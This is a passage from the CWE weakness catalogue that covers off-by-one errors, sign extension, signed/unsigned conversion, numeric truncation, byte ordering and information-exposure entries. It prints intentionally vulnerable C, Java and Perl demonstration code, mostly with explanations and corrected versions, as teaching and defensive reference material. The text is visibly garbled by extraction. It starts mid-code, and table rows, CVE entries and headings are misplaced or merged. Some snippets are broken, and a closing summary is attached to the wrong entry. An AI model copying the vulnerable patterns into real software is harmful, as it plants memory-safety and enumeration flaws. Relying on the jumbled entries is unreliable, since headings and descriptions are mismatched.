    /* s is -1 so it passes the safety check - CWE-697 */
if (s > 256) {
    DiePainfully("go away!\n");
}
    /* s is sign-extended and saved in sz */
sz = s;
    /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */
printf("i=%d, s=%d, sz=%u\n", i, s, sz);
input = GetUserInput("Enter pathname:");
    /* strncpy interprets s as unsigned int, so it's treated as MAX_INT
    (CWE-195), enabling buffer overflow (CWE-119) */
strncpy(path, input, s);
    path[255] = '\0';
printf("Path is: %s\n", path);
}

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).

**Potential Mitigations**

**Requirements**

A language which throws exceptions on ambiguous data casts might be chosen.

**Architecture and Design**

Design objects and program flow such that multiple or complex casts are unnecessary

**Implementation**

Ensure that any data type casting that you must used is entirely understood in order to reduce the plausibility of error in use.

CWE-193: Off-by-one Error

Weakness ID: 193 (Weakness Base)

Description

Summary
A product calculates or uses an incorrect maximum or minimum value that is 1 more, or 1 less, than the correct value.

Alternate Terms
off-by-five
An "off-by-five" error was reported for sudo in 2002 (CVE-2002-0184), but that is more like a "length calculation" error.

Time of Introduction
• Implementation

Applicable Platforms
• All

Languages

Common Consequences

Availability
DoS: crash / exit / restart
DoS: resource consumption (CPU)
DoS: resource consumption (memory)
DoS: instability
This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.

Integrity
Modify memory
If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.

Confidentiality
Availability
Access Control
Execute unauthorized code or commands
Bypass protection mechanism
This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.

Demonstrative Examples

Example 1:
The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.

C Example:

```c
int i;
```
unsigned int numWidgets;
Widget **WidgetList;
numWidgets = GetUntrustedSizeValue();
if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {
    ExitError("Incorrect number of widgets requested!");
}
_WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));
printf("WidgetList ptr=%p\n", WidgetList);
for(i=0; i<numWidgets; i++) {
    WidgetList[i] = InitializeWidget();
}
WidgetList[numWidgets] = NULL;
showWidgets(WidgetList);

However, this code contains an off-by-one calculation error. It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests MAX_NUM_WIDGETS, there is an off-by-one buffer overflow when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.

Example 2:
The following C/C++ example demonstrates the Off-by-one error in the main method of a pattern matching utility that looks for a specific pattern within a specific file. The main method uses the string copy method, strncpy, to copy the command line user input file name and pattern to the Filename and Pattern character arrays respectively.

C Example:

```c
int main(int argc, char **argv)
{
    char Filename[256];
    char Pattern[32];
    /* Validate number of parameters and ensure valid content */
    ... 
    /* copy filename parameter to variable, may cause off-by-one overflow */
    strncpy(Filename, argv[1], sizeof(Filename));
    /* copy pattern parameter to variable, may cause off-by-one overflow */
    strncpy(Pattern, argv[2], sizeof(Pattern));
    printf("Searching file: %s for the pattern: %s\n", Filename, Pattern);
    Scan_File(Filename, Pattern);
}
```

However, the calls to strncpy use the sizeof method call for the size parameter that does not take into account that the strncpy will add a null terminator to each character array. Therefore if a user enters a filename or pattern that are the same size as (or larger than) their respective character arrays a null terminator will be added beyond the end of the buffer for the character arrays creating an off-by-one buffer overflow. In addition to creating a buffer overflow that may cause a memory address to be overwritten, if the character arrays are output to the user through the printf method the memory addresses at the overflow location may be output to the user.

To fix this problem, be sure to subtract 1 from the sizeof() call to allow room for the null byte to be added.

C Example:

```c
/* copy filename parameter to variable, no off-by-one overflow */
strncpy(Filename, argv[2], sizeof(Filename)-1);
/* copy pattern parameter to variable, no off-by-one overflow */
strncpy(Pattern, argv[3], sizeof(Pattern)-1);
```

Example 3:
Similarly, this example uses the strncat and snprintf functions incorrectly. The code does not account for the null character that is added by the second strncat function call, one byte beyond the end of the name buffer.
C Example: Bad Code

```c
char lastname[20];
char firstname[20];
char name[40];
char fullname[40];
strncat(name, firstname, sizeof(name));
strncat(name, lastname, sizeof(name));
snprintf(fullname, sizeof(fullname), "%s", name);
```

By leaving a free byte at the end of the buffers for a null character to be added, the off-by-one weakness is avoided.

C Example: Good Code

```c
char lastname[20];
char firstname[20];
char name[40];
char fullname[40];
strncat(name, firstname, sizeof(name)-1);
strncat(name, lastname, sizeof(name)-1);
snprintf(fullname, sizeof(fullname), "%s", name);
```

Example 4:
The Off-by-one error can also be manifested when reading characters from a character array within a for loop that has an incorrect continuation condition.

C Example: Bad Code

```c
#define PATH_SIZE 60
char filename[PATH_SIZE];
for(i=0; i<=PATH_SIZE; i++) {
    char c = getc();
    if (c == EOF) {
        filename[i] = '\0';
    } else {
        filename[i] = getc();
    }
}
```

In this case, the correct continuation condition is shown below.

C Example: Good Code

```c
for(i=0; i<PATH_SIZE; i++) {
    ...
}
```

Example 5:
As another example the Off-by-one error can occur when using the sprintf library function to copy a string variable to a formatted string variable and the original string variable comes from an untrusted source. As in the following example where a local function, setFilename is used to store the value of a filename to a database but first uses sprintf to format the filename. The setFilename function includes an input parameter with the name of the file that is used as the copy source in the sprintf function. The sprintf function will copy the file name to a char array of size 20 and specifies the format of the new variable as 16 characters followed by the file extension .dat.

C Example: Bad Code

```c
int setFilename(char *filename) {
    char name[20];
    sprintf(name, "%16s.dat", filename);
    int success = saveFormattedFilenameToDB(name);
    return success;
}
```

However this will cause an Off-by-one error if the original filename is exactly 16 characters or larger because the format of 16 characters with the file extension is exactly 20 characters and does not take into account the required null terminator that will be placed at the end of the string.

</table>

Potential Mitigations

Implementation

When copying character arrays or using character manipulation methods, the correct size parameter must be used to account for the null terminator that needs to be added at the end of the array. Some examples of functions susceptible to this weakness in C include strcpy(), strncpy(), strcat(), strncat(), printf(), sprintf(), scanf() and sscanf().

Relationship Notes

This is not always a buffer overflow. For example, an off-by-one error could be a factor in a partial comparison, a read from the wrong memory location, an incorrect conditional, etc.

Research Gaps
CWE-194: Unexpected Sign Extension

Under-studied. It requires careful code analysis or black box testing, where inputs of excessive length might not cause an error. Off-by-ones are likely triggered by extensive fuzzing, with the attendant diagnostic problems.

References

CWE-194: Unexpected Sign Extension

Weakness ID: 194 (Weakness Base) Status: Incomplete

Description

Summary
The software performs an operation on a number that causes it to be sign extended when it is transformed into a larger data type. When the original number is negative, this can produce unexpected values that lead to resultant weaknesses.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• C
• C++

Common Consequences
Integrity
Confidentiality
Availability
Other
Read memory
Modify memory
Other
When an unexpected sign extension occurs in code that operates directly on memory buffers, such as a size value or a memory index, then it could cause the program to write or read outside the boundaries of the intended buffer. If the numeric value is associated with an application-level resource, such as a quantity or price for a product in an e-commerce site, then the sign extension could produce a value that is much higher (or lower) than the application's allowable range.

Likelihood of Exploit
High

Demonstrative Examples
The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

**C Example:**

```c
int GetUntrustedInt() {
    return(0x0000FFFF);
}

void main(int argc, char **argv) {
    char path[256];
    char *input;
    short s;
    unsigned int sz;
    i = GetUntrustedInt();
    s = i;
    /* s is -1 so it passes the safety check - CWE-697 */
    if (s > 256) {
        DiePainfully("go away!");
    }
    /* s is sign-extended and saved in sz */
    sz = s;
    /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */
    printf("%-d, %d, %u\n", i, s, sz);
    input = GetUserInput("Enter pathname: ");
    /* strncpy interprets s as unsigned int, so it's treated as MAX_INT (CWE-195), enabling buffer overflow (CWE-119) */
    strncpy(path, input, s);
    path[255] = '\0'; /* don't want CWE-170 */
    printf("Path is: %s\n", path);
}
```

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).

**Observed Examples**

<table>
<thead>
<tr>

<td>CVE-2003-0161</td>
<td>Product uses &quot;char&quot; type for input character. When char is implemented as a signed type, ASCII value 0xFF (255), a sign extension produces a -1 value that is treated as a program-specific separator value, effectively disabling a length check and leading to a buffer overflow. This is also a multiple interpretation error.</td>
</tr>
<tr>
<td>CVE-2005-2753</td>
<td>Sign extension when manipulating Pascal-style strings leads to integer overflow and improper memory copy.</td>
</tr>
<tr>
<td>CVE-2006-1834</td>
<td>Chain: signedness error allows bypass of a length check; later sign extension makes exploitation easier.</td>
</tr>
<tr>
<td>CVE-2007-4988</td>
<td>Chain: signed short width value in image processor is sign extended during conversion to unsigned int, which leads to integer overflow and heap-based buffer overflow.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

Avoid using signed variables if you don’t need to represent negative values. When negative values are needed, perform sanity checks after you save those values to larger data types, or before passing them to functions that are expecting unsigned values.
CWE Version 2.11

CWE-195: Signed to Unsigned Conversion Error

**Maintenance Notes**

This entry is closely associated with signed-to-unsigned conversion errors (CWE-195) and other numeric errors. These relationships need to be more closely examined within CWE.

---

**CWE-195: Signed to Unsigned Conversion Error**

**Weakness ID:** 195 *(Weakness Variant)*

**Description**

**Summary**

The software uses a signed primitive and performs a cast to an unsigned primitive, which can produce an unexpected value if the value of the signed primitive can not be represented using an unsigned primitive.

**Extended Description**

It is dangerous to rely on implicit casts between signed and unsigned numbers because the result can take on an unexpected value and violate assumptions made by the program.

Often, functions will return negative values to indicate a failure. When the result of a function is to be used as a size parameter, using these negative return values can have unexpected results. For example, if negative size values are passed to the standard memory copy or allocation functions they will be implicitly cast to a large unsigned value. This may lead to an exploitable buffer overflow or underflow condition.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- C
- C++

**Common Consequences**

- Integrity
- Unexpected state

Conversion between signed and unsigned values can lead to a variety of errors, but from a security standpoint is most commonly associated with integer overflow and buffer overflow vulnerabilities.

**Demonstrative Examples**

**Example 1:**

In this example the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned int, amount will be implicitly converted to unsigned.

**C Example:**

```c
unsigned int readdata () {
```
int amount = 0;
...
if (result == ERROR)
    amount = -1;
...
return amount;
}

If the error condition in the code above is met, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

**Example 2:**
In this example, depending on the return value of accessmainframe(), the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned value, amount will be implicitly cast to an unsigned number.

**C Example:**

```c
unsigned int readdata () {
    int amount = 0;
    ...
    amount = accessmainframe();
    ...
    return amount;
}
```

If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

**Example 3:**
The following code is intended to read an incoming packet from a socket and extract one or more headers.

**C Example:**

```c
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader);
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

**Example 4:**
This example processes user input comprised of a series of variable-length structures. The first 2 bytes of input dictate the size of the structure to be processed.

**C Example:**

```c
char* processNext(char* strm) {
    char buf[512];
    short len = *(short*) strm;
    strm += sizeof(len);
    if (len <= 512) {
        memcpy(buf, strm, len);
        ...
    }
    return buf;
}
```
The programmer has set an upper bound on the structure size: if it is larger than 512, the input will not be processed. The problem is that len is a signed short, so the check against the maximum structure length is done with signed values, but len is converted to an unsigned integer for the call to memcpy() and the negative bit will be extended to result in a huge value for the unsigned integer. If len is negative, then it will appear that the structure has an appropriate size (the if branch will be taken), but the amount of memory copied by memcpy() will be quite large, and the attacker will be able to overflow the stack with data in strm.

**Example 5:**
In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

C Example:

```c
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
    * else, return -1 to indicate an error
    */
    ...
} int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

CWE-196: Unsigned to Signed Conversion Error

Weakness ID: 196 (Weakness Variant) Status: Draft

Description

Summary
The software uses an unsigned primitive and performs a cast to a signed primitive, which can produce an unexpected value if the value of the unsigned primitive can not be represented using a signed primitive.

Extended Description
Although less frequent an issue than signed-to-unsigned conversion, unsigned-to-signed conversion can be the perfect precursor to dangerous buffer underwrite conditions that allow attackers to move down the stack where they otherwise might not have access in a normal buffer overflow condition. Buffer underwrites occur frequently when large unsigned values are cast to signed values, and then used as indexes into a buffer or for pointer arithmetic.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• C
• C++

Common Consequences

Availability
DoS: crash / exit / restart
Incorrect sign conversions generally lead to undefined behavior, and therefore crashes.

Integrity
Modify memory
If a poor cast lead to a buffer overflow or similar condition, data integrity may be affected.

Integrity
Confidentiality
Availability
Access Control
Execute unauthorized code or commands
Bypass protection mechanism
Improper signed-to-unsigned conversions without proper checking can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.

Likelihood of Exploit
Medium

Potential Mitigations

Requirements
Choose a language which is not subject to these casting flaws.

Architecture and Design
Design object accessor functions to implicitly check values for valid sizes. Ensure that all functions which will be used as a size are checked previous to use as a size. If the language permits, throw exceptions rather than using in-band errors.

Implementation
Error check the return values of all functions. Be aware of implicit casts made, and use unsigned variables for sizes if at all possible.

### CWE-197: Numeric Truncation Error

**Weakness ID:** 197 *(Weakness Base)*

**Status:** Incomplete

#### Description

**Summary**

Truncation errors occur when a primitive is cast to a primitive of a smaller size and data is lost in the conversion.

**Extended Description**

When a primitive is cast to a smaller primitive, the high order bits of the large value are lost in the conversion, potentially resulting in an unexpected value that is not equal to the original value. This value may be required as an index into a buffer, a loop iterator, or simply necessary state data. In any case, the value cannot be trusted and the system will be in an undefined state. While this method may be employed viably to isolate the low bits of a value, this usage is rare, and truncation usually implies that an implementation error has occurred.

#### Time of Introduction

- Implementation

#### Applicable Platforms

- C
- C++
- Java
- .NET

#### Common Consequences

**Integrity**

Modify memory

The true value of the data is lost and corrupted data is used.

#### Likelihood of Exploit

Low

#### Demonstrative Examples

**Example 1:**

This example, while not exploitable, shows the possible mangling of values associated with truncation errors:

**C Example:**

```c
int intPrimitive;
short shortPrimitive;
intPrimitive = (int)((~((int)0) ^ (1 << (sizeof(int)*8-1))));
shortPrimitive = intPrimitive;
```

---

### Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
</table>
| 92       | Forced Integer Overflow | *(CAPEC Version 2.10)*

### References

printf("Int MAXINT: %d\nShort MAXINT: %d\n", intPrimitive, shortPrimitive);

The above code, when compiled and run on certain systems, returns the following output:

<table>
<thead>
<tr>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>Int MAXINT: 2147483647</td>
</tr>
<tr>
<td>Short MAXINT: -1</td>
</tr>
</tbody>
</table>

This problem may be exploitable when the truncated value is used as an array index, which can happen implicitly when 64-bit values are used as indexes, as they are truncated to 32 bits.

**Example 2:**
In the following Java example, the method updateSalesForProduct is part of a business application class that updates the sales information for a particular product. The method receives as arguments the product ID and the integer amount sold. The product ID is used to retrieve the total product count from an inventory object which returns the count as an integer. Before calling the method of the sales object to update the sales count the integer values are converted to The primitive type short since the method requires short type for the method arguments.

**Java Example:**

```java
Bad Code
...
// update sales database for number of product sold with product ID
public void updateSalesForProduct(String productID, int amountSold) {
    // get the total number of products in inventory database
    int productCount = inventory.getProductCount(productID);
    // convert integer values to short, the method for the
    // sales object requires the parameters to be of type short
    short count = (short) productCount;
    short sold = (short) amountSold;
    // update sales database for product
    sales.updateSalesCount(productID, count, sold);
}
...
```

However, a numeric truncation error can occur if the integer values are higher than the maximum value allowed for the primitive type short. This can cause unexpected results or loss or corruption of data. In this case the sales database may be corrupted with incorrect data. Explicit casting from a larger size primitive type to a smaller size primitive type should be prevented.

The following example an if statement is added to validate that the integer values less than the maximum value for the primitive type short before the explicit cast and the call to the sales method.

**Java Example:**

```java
Good Code
...
// update sales database for number of product sold with product ID
public void updateSalesForProduct(String productID, int amountSold) {
    // get the total number of products in inventory database
    int productCount = inventory.getProductCount(productID);
    // make sure that integer numbers are not greater than
    // maximum value for type short before converting
    if ((productCount < Short.MAX_VALUE) && (amountSold < Short.MAX_VALUE)) {
        // convert integer values to short, the method for the
        // sales object requires the parameters to be of type short
        short count = (short) productCount;
        short sold = (short) amountSold;
        // update sales database for product
        sales.updateSalesCount(productID, count, sold);
    } else {
        // throw exception or perform other processing
        ...
    }
}
...
```

**Observed Examples**
CWE-198: Use of Incorrect Byte Ordering

Weakness ID: 198 (Weakness Base)  Status: Draft

Description

Summary

The software receives input from an upstream component, but it does not account for byte ordering (e.g., big-endian and little-endian) when processing the input, causing an incorrect number or value to be used.

Time of Introduction
CWE Version 2.11
CWE-199: Information Management Errors

- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Integrity

Unexpected state

Detection Methods

Black Box

Because byte ordering bugs are usually very noticeable even with normal inputs, this bug is more likely to occur in rarely triggered error conditions, making them difficult to detect using black box methods.

CWE-200: Information Exposure

Weakness ID: 200 (Weakness Class)

Status: Incomplete

Description

Summary

An information exposure is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information.

Extended Description

The information either

- is regarded as sensitive within the product's own functionality, such as a private message; or
provides information about the product or its environment that could be useful in an attack but is normally not available to the attacker, such as the installation path of a product that is remotely accessible.

Many information exposures are resultant (e.g. PHP script error revealing the full path of the program), but they can also be primary (e.g. timing discrepancies in cryptography). There are many different types of problems that involve information exposures. Their severity can range widely depending on the type of information that is revealed.

**Alternate Terms**

**Information Leak**
This is a frequently used term, however the "leak" term has multiple uses within security. In some cases it deals with exposure of information, but in other cases (such as "memory leak") this deals with improper tracking of resources which can lead to exhaustion. As a result, CWE is actively avoiding usage of the "leak" term.

**Information Disclosure**
This term is frequently used in vulnerability databases and other sources, however "disclosure" does not always have security implications. The phrase "information disclosure" is also used frequently in policies and legal documents, but do not refer to disclosure of security-relevant information.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- Language-independent

**Architectural Paradigms**
- Mobile Application

**Common Consequences**

**Confidentiality**
Read application data

**Likelihood of Exploit**
High

**Detection Methods**

**Automated Static Analysis - Binary / Bytecode**

**SOAR Partial**
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Bytecode Weakness Analysis - including disassembler + source code weakness analysis
- Inter-application Flow Analysis

**Dynamic Analysis with automated results interpretation**

**SOAR High**
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Web Application Scanner
- Web Services Scanner
- Database Scanners
Dynamic Analysis with manual results interpretation

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
  Fuzz Tester
  Framework-based Fuzzer
  Automated Monitored Execution
  Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual
  machine, see if it does anything suspicious

Manual Static Analysis - Source Code

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Context-configured Source Code Weakness Analyzer
Cost effective for partial coverage:
  Source code Weakness Analyzer

Architecture / Design Review

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  Attack Modeling
  Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Potential Mitigations

Architecture and Design

Separation of Privilege
Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously
drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when
interfacing with a compartment outside of the safe area.
Ensure that appropriate compartmentalization is built into the system design and that the
compartmentalization serves to allow for and further reinforce privilege separation functionality.
Architects and designers should rely on the principle of least privilege to decide when it is
appropriate to use and to drop system privileges.

Weakness Ordinalities

Resultant (where the weakness is typically related to the presence of some other weaknesses)

CWE-201: Information Exposure Through Sent Data

**Description**

**Summary**

The accidental exposure of sensitive information through sent data refers to the transmission of data which are either sensitive in and of itself or useful in the further exploitation of the system through standard data channels.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

- Confidentiality
- Read files or directories
- Read memory
- Read application data
  - Sensitive data may be exposed to attackers.

**Demonstrative Examples**

The following is an actual MySQL error statement:

**SQL Example:**

```
Warning: mysql_pconnect(): Access denied for user: 'root@localhost' (Using password: N1nj4) in /usr/local/www/wi-data/includes/database.inc on line 4
```

The error clearly exposes the database credentials.

**Potential Mitigations**

**Requirements**

Specify which data in the software should be regarded as sensitive. Consider which types of users should have access to which types of data.

**Implementation**

Ensure that any possibly sensitive data specified in the requirements is verified with designers to ensure that it is either a calculated risk or mitigated elsewhere. Any information that is not necessary to the functionality should be removed in order to lower both the overhead and the possibility of security sensitive data being sent.

**System Configuration**

Setup default error messages so that unexpected errors do not disclose sensitive information.

**Architecture and Design**

**Separation of Privilege**

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

**CWE-202: Exposure of Sensitive Data Through Data Queries**

**Weakness ID:** 202 (Weakness Variant)  
**Status:** Draft

**Description**

**Summary**

When trying to keep information confidential, an attacker can often infer some of the information by using statistics.

**Extended Description**

In situations where data should not be tied to individual users, but a large number of users should be able to make queries that "scrub" the identity of users, it may be possible to get information about a user -- e.g., by specifying search terms that are known to be unique to that user.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

- Confidentiality
- Read files or directories
- Read application data

Sensitive information may possibly be leaked through data queries accidentally.

**Likelihood of Exploit**

Medium

**Demonstrative Examples**

See the book Translucent Databases for examples.

**Potential Mitigations**

**Architecture and Design**

This is a complex topic. See the book Translucent Databases for a good discussion of best practices.

**Relationships**

**Taxonomy Mappings**
CWE-203: Information Exposure Through Discrepancy

### Description

**Summary**

The product behaves differently or sends different responses in a way that exposes security-relevant information about the state of the product, such as whether a particular operation was successful or not.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

**Confidentiality**

**Access Control**

**Read application data**

**Bypass protection mechanism**

An attacker can gain access to sensitive information about the system, including authentication information that may allow an attacker to gain access to the system.

### Demonstrative Examples

The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.

**Perl Example:**

```perl
my $username=param('username');
my $password=param('password');
if (IsValidUsername($username) == 1)
{
    if (IsValidPassword($username, $password) == 1)
    {
        print "Login Successful";
    } else
    {
        print "Login Failed - incorrect password";
    }
} else
{
    print "Login Failed - unknown username";
}
```

In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.

While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:

"Login Failed - incorrect username or password"

</tr>
<tr>
<td>CVE-2005-0918</td>
<td>Browser allows remote attackers to determine the existence of arbitrary files by setting the src property to the target filename and using Javascript to determine if the web page immediately stops loading, which indicates whether the file exists or not.</td>
</tr>
<tr>
<td>CVE-2005-1650</td>
<td>User enumeration via discrepancies in error messages.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

**Separation of Privilege**

Compartimentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.
Implementation
Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.
If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

CWE-204: Response Discrepancy Information Exposure

Description

Summary
The software provides different responses to incoming requests in a way that allows an actor to determine system state information that is outside of that actor’s control sphere.

Extended Description
This issue frequently occurs during authentication, where a difference in failed-login messages could allow an attacker to determine if the username is valid or not. These exposures can be inadvertent (bug) or intentional (design).

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms
Languages
- All

Common Consequences
- Confidentiality
- Access Control
- Read application data
- Bypass protection mechanism
Demonstrative Examples

The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.

Perl Example:

```perl
my $username=param('username');
my $password=param('password');
if (IsValidUsername($username) == 1)
    { if (IsValidPassword($username, $password) == 1)
        { print "Login Successful";
        }
        else
        { print "Login Failed - incorrect password";
        }
    }
else
    { print "Login Failed - unknown username";
    }
```

In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.

While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:

```
"Login Failed - incorrect username or password"
```

Potential Mitigations
Architecture and Design

Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

CWE-206: Information Exposure of Internal State Through Behavioral Inconsistency

**Description**

**Summary**

Two separate operations in a product cause the product to behave differently in a way that is observable to an attacker and reveals security-relevant information about the internal state of the product, such as whether a particular operation was successful or not.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

- Confidentiality
- Access Control
- Read application data
- Bypass protection mechanism

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>

<td>Behavioral infoleak in GUI allows attackers to distinguish between alphanumeric and non-alphanumeric characters in a password, thus reducing the search space.</td>
</tr>
<tr>
<td>CVE-2002-2031</td>
<td>File existence via infoleak monitoring whether &quot;onerror&quot; handler fires or not.</td>
</tr>
<tr>
<td>CVE-2003-0190</td>
<td>Product immediately sends an error message when user does not exist instead of waiting until the password is provided, allowing username enumeration.</td>
</tr>
<tr>
<td>CVE-2005-2025</td>
<td>Valid groupname enumeration via behavioral infoleak (sends response if valid, doesn't respond if not).</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

Setup generic response pages for error condition. The error page should not disclose information about the success or failure of a sensitive operation. For instance, the login page should not confirm that the login is correct and the password incorrect. The attacker who tries random account name may be able to guess some of them. Confirming that the account exists would make the login page more susceptible to brute force attack.

**Relationships**
CWE-207: Information Exposure Through an External Behavioral Inconsistency

Weakness ID: 207 (Weakness Variant)  Status: Draft

Description

Summary
The product behaves differently than other products like it, in a way that is observable to an attacker and exposes security-relevant information about which product is being used.

CWE-208: Information Exposure Through Timing Discrepancy

Weakness ID: 208 (Weakness Base)  Status: Incomplete

Description

Summary
Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.

Time of Introduction
CWE-209: Information Exposure Through an Error Message

**Summary**

Virtual machine allows malicious web site operators to determine the existence of files on the client by measuring delays in the execution of the getSystemResource method.

